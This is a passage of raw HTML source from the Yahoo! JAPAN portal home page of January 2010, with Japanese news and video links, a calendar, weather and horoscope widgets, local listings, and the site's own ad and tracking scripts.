href=\"z/1119_9\">ブランド香水も安くてお得</a></p>\n</div>\n</div>\n\n</div><div id=\"video\" class=\"bx\">\n<div class=\"hd\">\n<h2>映像トピックス</h2>\n</div>\n<div id=\"vdobd\" class=\"vdotmp1b\">\n<div class=\"img\">\n<a style=\"background-image: url(http://i.yimg.jp/images/video-topics/rec/1001/05_16.jpg);\" class=imgfilter id=vdoimgfilter href=s/54280>カチカチの砂糖がサラサラになる裏ワザ</a></div>\n<em><span title=\"動画\" class=\"iconVideo\">動画</span>(C)日本テレビ</em>\n<ul class=\"symbol\">\n<li><a href=s/54280>カチカチの砂糖がサラサラになる裏ワザ</a></li>\n<li><a href=s/54281>キテレツとコロ助が大喧嘩した原因は？</a></li>\n\n<li><a href=s/54282>バクテリアが超小型歯車を回す様子</a></li>\n<li><a href=s/54283>ファミカセでまさかの新作発売？</a></li>\n<li><a href=s/54284>史上最多9頭落馬 レース映像</a></li>\n</ul>\n<p class=\"more\"><a href=s/54285>話題の映像一覧</a></p>\n</div>\n</div>  \n<div id=\"cgmboxR\" class=\"bx\">\n<div class=\"hd\">\n<h2>みんなのアンテナ</h2>\n<h3>『オフィス百景』－第55回－</h3>\n\n</div>\n<div id=\"cgmbd\" class=\"cgmtmpR5\">\n<h3>英語とオシゴト</h3>\n<ul class=\"symbol\">\n<li><a href=s/54271>職場で「英語を使うな」と言われました。</a>\n<p>職場は観光地にあります。私が外国人客を英語で案内すると、先輩が「ここは日本だから英語は話さなくていい」と……。</p>\n</li>\n<li><a href=s/54272>「英語が好き」を理由に仕事を探すべきではない？</a>\n<p>留学もしたし、大好きな英語を使う仕事につきたいです。「英語はただのツール」という意見もありますが、ホントにそう？</p>\n</li>\n<li><a href=s/54273>仕事で「こんなとき、英語ができたら！」と思った経験はある？</a>\n\n<p>急に外国人から電話があり、パニックに！　ああ、こんなとき英語がペラペラだったら……。そんなエピソードを教えて！</p>\n</li>\n</ul>\n</div>\n</div>\n<div id=\"announce\" class=\"bx\">\n<div class=\"hd\">\n<h2>Yahoo! JAPANからのお知らせ</h2>\n</div>\n<ul class=\"item\">\n<li>  <a href=s/54148>「Yahoo!占い」内ページを閲覧されたお客様へご確認のお願い</a>\n</li><li>  <a href=s/38956>ヤフー関連会社の大分オフィスで働いてみませんか</a>\n\n</li>\n</ul>\n</div>\n</div>\n<hr class=\"separate\">\n<div id=\"sub\">\n<div id=\"brandpanel\" class=\"bx\">\n<script language=\"JavaScript\">\nvar YFAtr_id = \"301108196&jtime=1263267180\";\nvar YFAcheckImgSize = \"19.78#260\";\nvar YFAtarget=\"_top\";\nvar YFAlink = \"http://ard.yahoo.co.jp/SIG=159ch9rsd/M=300458476.301230534.302728438.301426957/D=jp_toppage/S=2077296265:TBP/Y=jp/EXP=1263274380/L=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R/B=7s3YAXxTsG0-/J=1263267180406688/A=301108196/SIG=12ckvm7vd/R=0/*http://r.advg.jp/adptg_count/r?adptg_aid=1905&adptg_mid=87&adptg_lid=1\";\nvar YFAaltlink = \"http://ard.yahoo.co.jp/SIG=159ch9rsd/M=300458476.301230534.302728438.301426957/D=jp_toppage/S=2077296265:TBP/Y=jp/EXP=1263274380/L=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R/B=7s3YAXxTsG0-/J=1263267180406688/A=301108196/SIG=12cfdd9ms/R=1/*http://r.advg.jp/adptg_count/r?adptg_aid=1905&adptg_mid=87&adptg_lid=1\";\nif(YFAlink.indexOf(\"ace%\")!=-1&&window.location.href.indexOf(\"http\")!=-1) {YFAlink=\"\";YFAtarget=\"\";}\nif(YFAlink!=\"\"){YFAlink=escape(YFAlink);YFAtarget=escape(YFAtarget);}\nvar YFAdate = new Date();\nvar YFAimgParam = YFAdate.getFullYear()+ '.' + YFAdate.getMonth() + '.' + YFAdate.getDate() + '.' + YFAdate.getHours() + '.' + YFAdate.getMinutes() + '.' + YFAdate.getSeconds()+ '.' + YFAdate.getMilliseconds();\nvar YFAvflash = \"http://ai.yimg.jp/bdv/6858/834527/20100111/uxuwyxfzhjfzfjelgvju-c.swf\";\nvar YFAmflash = \"http://ai.yimg.jp/bdv/6858/834527/20100111/uxuwyxfzhjfzfjelgvju-b.swf\";\nvar YFAaltimg = \"http://ai.yimg.jp/bdv/6858/834527/20100111/uxuwyxfzhjfzfjelgvju-a.jpg\";\nvar YFAwidth = 350;\nvar YFAheight = 160;\n</script>\n<script language=\"JavaScript\" src=\"http://ai.yimg.jp/bdv/yahoo/javascript/yfa_visual4.js\">\n</script>\n<noscript>\n<a href=\"http://ard.yahoo.co.jp/SIG=159ch9rsd/M=300458476.301230534.302728438.301426957/D=jp_toppage/S=2077296265:TBP/Y=jp/EXP=1263274380/L=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R/B=7s3YAXxTsG0-/J=1263267180406688/A=301108196/SIG=12c514ci4/R=2/*http://r.advg.jp/adptg_count/r?adptg_aid=1905&adptg_mid=87&adptg_lid=1\" target=\"_top\">\n<img src=\"http://ai.yimg.jp/bdv/6858/834527/20100111/uxuwyxfzhjfzfjelgvju-a.jpg\" width=\"350\" height=\"160\" border=\"0\">\n</a>\n</noscript>\n</div><!-- /#brandpanel --><script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['7s3YAXxTsG0-']='&U=13j8gur79%2fN%3d7s3YAXxTsG0-%2fC%3d300458476.301230534.302728438.301426957%2fD%3dTBP%2fB%3d301108196';\n</script><noscript><div style=\"position:absolute;\"><img width=1 height=1 alt=\"\" src=\"http://b3.yahoo.co.jp/b?P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=1432inmf4%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d3542976776%2fQ%3d-1%2fS%3d1%2fJ%3dB68A537C&U=13j8gur79%2fN%3d7s3YAXxTsG0-%2fC%3d300458476.301230534.302728438.301426957%2fD%3dTBP%2fB%3d301108196\"></div></noscript><div id=\"personalbox\" class=\"bx\">\n<h3 id=\"pbhello\"><span><a href=\"r/pl1\">ログイン</a></span></h3><ul id=\"pbidinfo\"><li class=\"loginout\">IDでもっと便利に[ <a href=\"r/pnr\">新規取得</a> ]</li>\n\n<li class=\"info\"><span class=\"assist\"><a href=\"r/pet\">登録情報</a></span></li></ul>\n<div id=\"pbproperty\">\n<ul class=\"connect\"><li class=\"pbmail first\"><a href=\"r/pmllo\"><span id=\"mailicon\" title=\"Yahoo!メール\">Yahoo!メール</span><span class=\"txt\">メール</span></a></li><li class=\"pbmailinfo\"><a href=\"r/ppml\">メールアドレスを取得</a></li></ul><ul class=\"shortcut\"><li><a title=\"Yahoo!ブックマーク\" class=\"first\" href=\"r/pbk\">Yahoo!ブックマーク</a></li><li><a title=\"Yahoo!ノートパッド\" class=\"second\" href=\"r/pnp\">Yahoo!ノートパッド</a></li><li><a title=\"Yahoo!ブリーフケース\" class=\"third\" href=\"r/pbc\">Yahoo!ブリーフケース</a></li></ul>\n</div>\n<div id=\"pbindexbg\"><div id=\"pbindex\">\n<div id=\"pbcalendar\"><div id=\"pbcbg\">\n<table summary=\"カレンダー\">\n<tbody><tr>\n<td><span class=\"h\">日</span></td>\n\n<td>月</td>\n<td>火</td>\n<td>水</td>\n<td>木</td>\n<td>金</td>\n<td>土</td>\n</tr>\n<tr>\n<td><a href=\"f/pbox/clndr/12/27/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1261926000\" class=\"e\">27</a></td>\n<td><a href=\"f/pbox/clndr/12/28/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262012400\" class=\"e\">28</a></td>\n\n<td><a href=\"f/pbox/clndr/12/29/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262098800\" class=\"e\">29</a></td>\n<td><a href=\"f/pbox/clndr/12/30/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262185200\" class=\"e\">30</a></td>\n<td><a href=\"f/pbox/clndr/12/31/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262271600\" class=\"e\">31</a></td>\n<td ><a href=\"f/pbox/clndr/01/01/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262358000\" class=\"h\">1</a></td>\n<td ><a href=\"f/pbox/clndr/01/02/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262444400\" >2</a></td>\n</tr>\n<tr>\n<td ><a href=\"f/pbox/clndr/01/03/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262530800\" class=\"h\">3</a></td>\n<td ><a href=\"f/pbox/clndr/01/04/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262617200\" >4</a></td>\n<td ><a href=\"f/pbox/clndr/01/05/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262703600\" >5</a></td>\n\n<td ><a href=\"f/pbox/clndr/01/06/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262790000\" >6</a></td>\n<td ><a href=\"f/pbox/clndr/01/07/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262876400\" >7</a></td>\n<td ><a href=\"f/pbox/clndr/01/08/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1262962800\" >8</a></td>\n<td ><a href=\"f/pbox/clndr/01/09/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263049200\" >9</a></td>\n</tr>\n<tr>\n<td ><a href=\"f/pbox/clndr/01/10/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263135600\" class=\"h\">10</a></td>\n<td ><a href=\"f/pbox/clndr/01/11/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263222000\" class=\"h\">11</a></td>\n<td class=\"t\"><a href=\"f/pbox/clndr/01/12/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263308400\" >12</a></td>\n<td ><a href=\"f/pbox/clndr/01/13/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263394800\" >13</a></td>\n\n<td ><a href=\"f/pbox/clndr/01/14/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263481200\" >14</a></td>\n<td ><a href=\"f/pbox/clndr/01/15/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263567600\" >15</a></td>\n<td ><a href=\"f/pbox/clndr/01/16/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263654000\" >16</a></td>\n</tr>\n<tr>\n<td ><a href=\"f/pbox/clndr/01/17/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263740400\" class=\"h\">17</a></td>\n<td ><a href=\"f/pbox/clndr/01/18/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263826800\" >18</a></td>\n<td ><a href=\"f/pbox/clndr/01/19/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263913200\" >19</a></td>\n<td ><a href=\"f/pbox/clndr/01/20/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1263999600\" >20</a></td>\n<td ><a href=\"f/pbox/clndr/01/21/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264086000\" >21</a></td>\n\n<td ><a href=\"f/pbox/clndr/01/22/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264172400\" >22</a></td>\n<td ><a href=\"f/pbox/clndr/01/23/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264258800\" >23</a></td>\n</tr>\n<tr>\n<td ><a href=\"f/pbox/clndr/01/24/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264345200\" class=\"h\">24</a></td>\n<td ><a href=\"f/pbox/clndr/01/25/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264431600\" >25</a></td>\n<td ><a href=\"f/pbox/clndr/01/26/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264518000\" >26</a></td>\n<td ><a href=\"f/pbox/clndr/01/27/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264604400\" >27</a></td>\n<td ><a href=\"f/pbox/clndr/01/28/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264690800\" >28</a></td>\n<td ><a href=\"f/pbox/clndr/01/29/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264777200\" >29</a></td>\n\n<td ><a href=\"f/pbox/clndr/01/30/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264863600\" >30</a></td>\n</tr>\n<tr>\n<td ><a href=\"f/pbox/clndr/01/31/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1264950000\" class=\"h\">31</a></td>\n<td><a href=\"f/pbox/clndr/02/01/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1265036400\" class=\"e\">1</a></td>\n<td><a href=\"f/pbox/clndr/02/02/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1265122800\" class=\"e\">2</a></td>\n<td><a href=\"f/pbox/clndr/02/03/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1265209200\" class=\"e\">3</a></td>\n<td><a href=\"f/pbox/clndr/02/04/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1265295600\" class=\"e\">4</a></td>\n<td><a href=\"f/pbox/clndr/02/05/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1265382000\" class=\"e\">5</a></td>\n<td><a href=\"f/pbox/clndr/02/06/*-http://calendar.yahoo.co.jp/?v=0&amp;t=1265468400\" class=\"e\">6</a></td>\n\n</tr>\n</tbody>\n</table>\n</div></div><div id=\"pbtoday\">\n<h3 id=\"pbdata\">\n2010年1月12日（火）</h3>\n<div class=\"grayout\" id=\"pbweather\">\n<h3><a href=\"f/pbox/weather/title/off/*-http://weather.yahoo.co.jp/\">今日の天気</a></h3>\n<ul>\n<li id=\"pbwicon\"><a href=\"f/pbox/weather/icon/off/*-http://weather.yahoo.co.jp/\"><img width=\"33\" height=\"20\" alt=\"地域が指定されていません。\" title=\"地域が指定されていません。\" src=\"http://k.yimg.jp/images/top/sp/pbw_gray_icon.gif\"></a></li>\n<li id=\"pbwtemperature\"><span class=\"high\">--℃</span>/<span class=\"low\">--℃</span></li>\n<li id=\"pbwrprobability\">--%</li>\n\n<li id=\"pbwlocation\"><a href=\"f/pbox/weather/select/off/*-http://weather.yahoo.co.jp/\" id=\"pbweatherbtn\" class=\"pldwn\" title=\"表示する地域を指定\">表示する地域を指定</a></li>\n</ul>\n</div><div id=\"pbplan\">\n<h3><a href=\"r/pcl\">今日の予定</a></h3>\n<ul><li id=\"pbpnumber\"><a href=\"r/pclplo\">カレンダーを活用</a></li></ul></div>\n<div id=\"pbfortune\">\n<h3><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/aries/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/aries.html\">今日の運勢</a></h3>\n<ul><li id=\"pbfconstellation\"><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/aries/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/aries.html\" id=\"pbfortunebtn\" class=\"pldwn\">牡羊座</a></li><li id=\"pbfpoint\"><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/aries/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/aries.html\">69点</a></li></ul>\n<ul id=\"pbfortunefw\" class=\"floatingw\"><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/aries/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/aries.html\" id=\"aries\" title=\"牡羊座\">牡羊座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/taurus/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/taurus.html\" id=\"taurus\" title=\"牡牛座\">牡牛座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/gemini/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/gemini.html\" id=\"gemini\" title=\"双子座\">双子座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/cancer/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/cancer.html\" id=\"cancer\" title=\"蟹座\">蟹座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/leo/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/leo.html\" id=\"leo\" title=\"獅子座\">獅子座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/virgo/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/virgo.html\" id=\"virgo\" title=\"乙女座\">乙女座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/libra/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/libra.html\" id=\"libra\" title=\"天秤座\">天秤座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/scorpio/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/scorpio.html\" id=\"scorpio\" title=\"蠍座\">蠍座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/sagittarius/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/sagittarius.html\" id=\"sagittarius\" title=\"射手座\">射手座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/capricorn/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/capricorn.html\" id=\"capricorn\" title=\"山羊座\">山羊座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/aquarius/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/aquarius.html\" id=\"aquarius\" title=\"水瓶座\">水瓶座</a></li><li><a href=\"r/pbox/fortune/today/*-http://rd.yahoo.co.jp/toppage/pbox/fortune/pisces/evt=82409/*http://fortune.yahoo.co.jp/fortune/12astro/20100112/pisces.html\" id=\"pisces\" title=\"魚座\">魚座</a></li></ul>\n\n</div></div>\n</div></div>\n<div id=\"pbsocial\"><p><a href=\"r/psg\">プロフィールをつくって交流しよう</a></p></div><div id=\"pblogininfo\">\n<ul>\n<li class=\"point\"><a href=\"r/plpb\" title=\"ポイントを確認\">ポイントを確認</a></li>\n<li class=\"star\"><a href=\"r/pstc\" title=\"スタークラブ\">スタークラブ</a></li>\n<li class=\"login\"><a href=\"r/plh1\" title=\"ログイン履歴を確認\">ログイン履歴を確認</a></li>\n</ul>\n</div>\n</div>\n<div id=\"yjidbox\" class=\"bx\">\n<h2><a href=\"r/rpro\">Yahoo!プレミアム</a></h2>\n\n<p class=\"more\"><a href=s/54255>尾崎ナナの動画などがおトク</a></p>\n<p><a href=s/54256><img src=\"http://k.yimg.jp/images/auct/promo/ybb/09_1016_004.gif\" alt=\"Yahoo!オークション\"></a></p>\n<ul><li><a href=s/54257>セレブ御用達「トリーバーチ」のシューズ</a></li><li><a href=s/54258>あなたの2010年全運勢を占ってみませんか</a></li></ul>\n</div>\n<div id=\"local\" class=\"bx\">\n<div class=\"hd\">\n<h2 id=\"localhd\" class=\"json\">表示する地域を指定</h2>\n<noscript>\n<h2><a id=\"localbtn\" class=\"pldwn\" href=\"http://local.yahoo.co.jp/\">港区周辺</a><span>の地域情報</span></h2>\n</noscript>\n</div>\n<div class=\"ulmwindow\" id=\"localfw2\">\n<form method=\"get\" name=\"ulm-form2\" id=\"ulm-form2\" class=\"ulmStart\">\n<fieldset>\n\n<legend>地域選択</legend>\n<div class=\"ulmwindowbd\">\n<div class=\"ulmwindowCth\">郵便番号または市区町村名を入力してください。<br>\n指定した地域周辺の情報が表示されます。</div>\n<div class=\"ulmwindowmds\">例：「1060032」「港区」「六本木駅」など</div>\n<div class=\"ulmwindowsearch\"><input type=\"text\" class=\"ulmwindowsrchtxt\" id=\"ulm-form-query2\" maxlength=\"100\" value=\"\"><button id=\"ulm-form-button2\" class=\"ulmwindowsrchbtn\">検索</button></div>\n</div>\n</fieldset>\n</form>\n</div>\n<div id=\"localbd\">\n<ul class=\"nonImg item\"><li><a href=\"f/local/13103/event/1/2/2010011209_13103/*-http://headlines.yahoo.co.jp/hl?a=20100106-00000022-minkei-l13\">【ニュース】新橋に産地限定の銘柄地鶏料理…（みん経）</a></li><li><a href=\"f/local/13103/event/2/1/2010011209_13/*-http://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1234996332\">【スポット】教えて、東京で文豪が通った飲み屋さん</a></li><li><a href=\"f/local/13103/event/3/99/*-http://local.yahoo.co.jp/detail/event/i76434/\">【イベント】岡本太郎の「いきもの」</a></li><li><a href=\"f/local/13103/event/4/99/*-http://local.yahoo.co.jp/detail/event/i76503/\">【イベント】憧れのイングリッシュガーデン写真展～美...</a></li></ul><dl class=\"bgD\"><dt>ピックアップ</dt><dd><a href=\"f/local/13103/theme/00/theme1263222000-0/*-http://local.yahoo.co.jp/theme.html?id=theme1263222000-0&lat=35.652809&lon=139.737198\">通いたくなる、近所の喫茶店</a></dd></dl><p class=\"more bgC2\"><a href=\"f/local/13103/more/*-http://local.yahoo.co.jp/a113/\">東京都の情報</a></p>\n\n</div>\n<div id=\"ulm-local-overlay\" class=\"overlay\"></div>\n</div><script\ntype=\"text/javascript\"src=\"http://yjaxc.yahoo.co.jp/oi?t=j&s=ytop_ams_rmdl_u\ntf8&i=toppage\"></script>\n<!-- http://ard.yahoo.co.jp/SIG=159ktrsnt/M=300421577.301230279.302721464.301238989/D=jp_toppage/S=2077296265:TRB/Y=jp/EXP=1263274380/L=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R/B=8M3YAXxTsG0-/J=1263267180406688/A=301083779/SIG=10toctuil/R=0/?http://www.yahoo.co.jp/ --><script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['8M3YAXxTsG0-']='&U=13jfrpdo9%2fN%3d8M3YAXxTsG0-%2fC%3d300421577.301230279.302721464.301238989%2fD%3dTRB%2fB%3d301083779';\n</script><noscript><div style=\"position:absolute;\"><img width=1 height=1 alt=\"\" src=\"http://b3.yahoo.co.jp/b?P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=143nvu5k4%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d2704322438%2fQ%3d-1%2fS%3d1%2fJ%3dB68A537C&U=13jfrpdo9%2fN%3d8M3YAXxTsG0-%2fC%3d300421577.301230279.302721464.301238989%2fD%3dTRB%2fB%3d301083779\"></div></noscript><!-- SpaceID=2077296265 loc=TRAP noad-spid -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['8c3YAXxTsG0-']='&U=1284616k7%2fN%3d8c3YAXxTsG0-%2fC%3d-2%2fD%3dTRAP%2fB%3d-2';\n</script><noscript><div style=\"position:absolute;\"><img width=1 height=1 alt=\"\" src=\"http://b3.yahoo.co.jp/b?P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=143s7ke0l%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3djp%2fF%3d1022904382%2fQ%3d-1%2fS%3d1%2fJ%3dB68A537C&U=1284616k7%2fN%3d8c3YAXxTsG0-%2fC%3d-2%2fD%3dTRAP%2fB%3d-2\"></div></noscript><div id=\"everywhere\" class=\"bx\">\n<div class=\"hd\">\n<h2>どこでもYahoo! JAPAN</h2>\n</div>\n<ul class=\"item\"><li><a href=s/49349>NTTドコモ、au、ソフトバンクなどの携帯機能比較</a></li><li><a href=s/52992>〈ブラビア〉もっている方は必見！　テレビ版ヤフー</a></li><li><a href=s/54265>ケータイでペット飼ってみる？</a></li></ul>\n\n</div>\n<div id=\"partner\" class=\"bx\">\n<div class=\"hd\">\n<h2>おすすめのパートナーサイト情報</h2>\n</div>\n<ul class=\"item\">\n<li><a href=s/54201>並んでも食べたい！　人気ラーメン店の味をおウチで体験</a></li>\n<li><a href=s/54202>「本命の彼女」と「都合のいい彼女」の違いとは？</a></li>\n</ul>\n<p class=\"more\"><a href=\"r/par\">&gt;&gt;一覧</a></p>\n</div>\n</div>\n</div>\n\n</div>\n<hr class=\"separate\">\n<div id=\"footer\" class=\"bx\">\n<ul class=\"connect\"><li class=\"first\"><a href=\"r/fin\">会社概要</a></li><li><a href=\"r/fiv\">投資家情報</a></li><li><a href=\"r/fcsr\">社会的責任</a></li><li><a href=\"r/fcgi\">企業行動憲章</a></li><li><a href=\"r/fad\">広告掲載について</a></li><li><a href=\"r/fhr\">採用情報</a></li></ul>\n<ul class=\"connect\"><li class=\"first\"><a href=\"r/ftm\">利用規約</a></li><li><a href=\"r/fsec\">セキュリティーの考え方</a></li><li><a href=\"r/fpv\">プライバシーポリシー</a></li><li><a href=\"r/fdi\">免責事項</a></li></ul>\n<address>Copyright (C) 2010 Yahoo Japan Corporation. All Rights Reserved.</address>\n\n</div>\n</div>\n<noscript><style type=\"text/css\"><!--\n#contentbox .changepos h2{padding-left:5px;}#uhdsetstart,#srchAssist,#contentbox .hd .cbbtn,#favoriteservice .assist,#sub #localfw2,#local h2.json,.bkNum{display:none;}#local h2.jsoff{display:block;}\n--></style></noscript>\n<img src=\"http://t.img.yahoo.co.jp/rim.gif\" alt=\"\">\n</body>\n<script type=\"text/javascript\"><!--\nvar searchTabs=new YAHOO.Fp.tabs(\"searchbox\");searchTabs.nTabMaxNum=8;searchTabs.sTxtTmp=$(\"srchtxt\").value;searchTabs.dPreTabNum=0;searchTabs.sEventName=\"\";searchTabs.changeAction(YAHOO.Fp.changeVert,{obj:searchTabs});searchTabs.setupTabs();var fpColor=new YAHOO.Fp.changeColor(\"clr\");fpColor.setup();if($(\"local\")){var localULM=new YAHOO.Fp.ulm(\"local\");if(!YAHOO.Fp._plcookie){var _localbd=$(\"localbd\");var oLocalBody=YUD.getRegion(_localbd);var oLocalBodyXY={X:oLocalBody.right-oLocalBody.left,Y:oLocalBody.bottom-oLocalBody.top};var oOverlay=$(\"ulm-local-overlay\");if(!(YAHOO.Fp._sf&&YAHOO.Fp._sfv<500)){YUD.setStyle(oOverlay,\"width\",oLocalBodyXY.X+\"px\");YUD.setStyle(oOverlay,\"height\",oLocalBodyXY.Y+\"px\");YUD.setStyle(oOverlay,\"margin-top\",\"-\"+oLocalBodyXY.Y+\"px\")}var _link=_localbd.getElementsByTagName(\"a\");var _linkL=_link.length;for(var _i=0;_i<_linkL;_i++){YUD.setStyle(_link[_i],\"color\",\"#999\")}if(typeof _localbd.getElementsByTagName(\"img\")[0]!=\"undefined\"){_localbd.getElementsByTagName(\"img\")[0].src=\"http://k.yimg.jp/images/top/sp/local_dummy.gif\"}if(typeof _localbd.getElementsByTagName(\"h3\")[0]!=\"undefined\"){_localbd.getElementsByTagName(\"h3\")[0].innerHTML=\"\\u6307\\u5b9a\\u3057\\u305f\\u5730\\u57df\\u306e\\u30a4\\u30d9\\u30f3\\u30c8\\u60c5\\u5831\\u304c\\u8868\\u793a\\u3055\\u308c\\u307e\\u3059\"}localULM.bDefLocal=1}localULM.setupULM()};var spotlight=new YAHOO.Fp.tabs(\"spotlight\");spotlight.changeAction(YAHOO.Fp.loadPanel,{type:\"tabs\",module:\"spotlight\",load:\"story\"});spotlight.sTabTag=\"dd\";spotlight.setupTabs();YAHOO.Fp.contentbox=new YAHOO.Fp.oContentBox();YUE.on(\"cbassistall\",\"click\",function(a){YUE.stopEvent(a);YAHOO.Fp.contentbox.toggleContentBox(0,{sAction:\"service\",sOption:\"normal\"})});YUE.on(\"cbassistedit\",\"click\",function(a){YUE.stopEvent(a);YAHOO.Fp.contentbox.toggleContentBox(0,{sAction:\"edit\",sOption:\"normal\"})});var fortunePanels=new YAHOO.Fp.panels(\"pbfortune\");fortunePanels.changeAction(YAHOO.Fp.changeFortune,{type:\"panel\",module:\"fortune\"});fortunePanels.sListTag=\"ul\";fortunePanels.dCurId=\"aries\";fortunePanels.oValue=eval(\"(\"+YAHOO.Fp._fortune_json+\")\");fortunePanels.setupPanels();var weatherULM=new YAHOO.Fp.ulm(\"pbweather\");weatherULM.setupULM();setTimeout(function(){$(\"srchtxt\").focus()},100);\n//--></script>\n<!--http://ard.yahoo.co.jp/SIG=15bcv1f78/M=300330001.301031505.302672666.301674939/D=jp_toppage/S=2077296265:FOOT9/Y=jp/EXP=1263274380/L=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R/B=9s3YAXxTsG0-/J=1263267180406688/A=301017427/R=0/*-->\n<!-- SpaceID=2077296265 loc=FS01 noad -->\n\n<!-- SpaceID=2077296265 loc=FR001 noad -->\n</html>\n<script language=javascript>\nif(window.yzq_p==null)document.write(\"<scr\"+\"ipt language=javascript src=http://ai.yimg.jp/bdv/yahoo/javascript/csc/20060824/lib2obf_b3.js></scr\"+\"ipt>\");\n</script><script language=javascript>\nif(window.yzq_p)yzq_p('P=W7OfVXxTi7.AGhNCaI7zhhPLpUVaCEtL7WwABi6R&T=13ulaauta%2fX%3d1263267180%2fE%3d2077296265%2fR%3djp_toppage%2fK%3d5%2fV%3d1.1%2fW%3dJ%2fY%3djp%2fF%3d2168260674%2fS%3d1%2fJ%3dB68A537C');\nif(window.yzq_s)yzq_s();\n</script><noscript><div style=\"position:absolute;\"><img width=1 height=1 alt=\"\" 